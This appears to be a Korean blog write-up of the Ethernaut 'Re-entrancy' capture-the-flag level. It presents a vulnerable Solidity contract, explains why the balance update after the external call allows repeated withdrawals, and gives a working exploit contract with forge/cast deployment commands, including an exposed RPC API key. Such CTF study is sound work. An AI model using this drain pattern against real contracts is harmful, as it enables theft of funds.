728x90
Description
The goal of this level is for you to steal all the funds from the contract.
Things that might help:
- Untrusted contracts can execute code where you least expect it.
- Fallback methods
- Throw/revert bubbling
- Sometimes the best way to attack a contract is with another contract.
- See the "?" page above, section "Beyond the console"
Code
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.12;
import "openzeppelin-contracts-06/math/SafeMath.sol";
contract Reentrance {
using SafeMath for uint256;
mapping(address => uint256) public balances;
function donate(address _to) public payable {
balances[_to] = balances[_to].add(msg.value);
}
function balanceOf(address _who) public view returns (uint256 balance) {
return balances[_who];
}
function withdraw(uint256 _amount) public {
if (balances[msg.sender] >= _amount) {
(bool result,) = msg.sender.call{value: _amount}("");
if (result) {
_amount;
}
balances[msg.sender] -= _amount;
}
}
receive() external payable {}
}
Scenario
현재 컨트랙트 balance는 0.001이더이다. donate() 함수를 호출하여 n만큼 컨트랙트에 보내면, 그 n 이하만큼을 withdraw 할 수 있기 때문에 얼마나 많이 보내놓고 많이 빼더라도 항상 0.001이더만큼이 컨트랙트에 계속 남게 된다. 즉, balances[player]의 값은 유지한 채 중복으로 withdraw를 수행해야 하는데, withdraw 함수를 보면, check-interaction-effect 패턴으로 쓰여 있어 re-entrancy 공격에 취약하다는 것을 알 수 있다.
1. donate() 호출하여 이더를 컨트랙트에 보냄
2. withdraw() 호출하여 컨트랙트 -> 나에게 이더 전송
3. 이 때 그 이더는 내 컨트랙트의 receive() 함수에서 받게 되는데, 그 receive() 내에서 다시 한 번 withdraw 호출
이렇게 수행하면 balances[msg.sender] -= _amount; 가 수행되기 이전에 중복으로 withdraw를 호출할 수 있다.
Exploit
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract Exploit {
address level = 0xbc3DBf04bccB2ea77409DcB4a5e87837EBe770d8;
function doDonate() public payable {
(bool success, ) = level.call{value: 0.001 ether}(abi.encodeWithSignature("donate(address)", address(this)));
require(success, "Failed to donate");
}
function doWithdraw() public payable {
(bool success, ) = level.call(abi.encodeWithSignature("withdraw(uint256)", 0.001 ether));
require(success, "Failed to withdraw");
}
receive() external payable {
doWithdraw();
}
}
forge create --rpc-url https://eth-sepolia.g.alchemy.com/v2/kgBn5_xyC1CfARkV_HgFNjF8UeVLwE9f --private-key {private key} Exploit.sol:Exploit
cast send 0xfF0e907f473d9D5E242f1516042295726aF4C98a --rpc-url https://eth-sepolia.g.alchemy.com/v2/kgBn5_xyC1CfARkV_HgFNjF8UeVLwE9f --private-key {pk} "doDonate()" --value 0.005 ether
cast send 0xfF0e907f473d9D5E242f1516042295726aF4C98a --rpc-url https://eth-sepolia.g.alchemy.com/v2/kgBn5_xyC1CfARkV_HgFNjF8UeVLwE9f --private-key {pk} "doWithdraw()" --value 0.005ether
728x90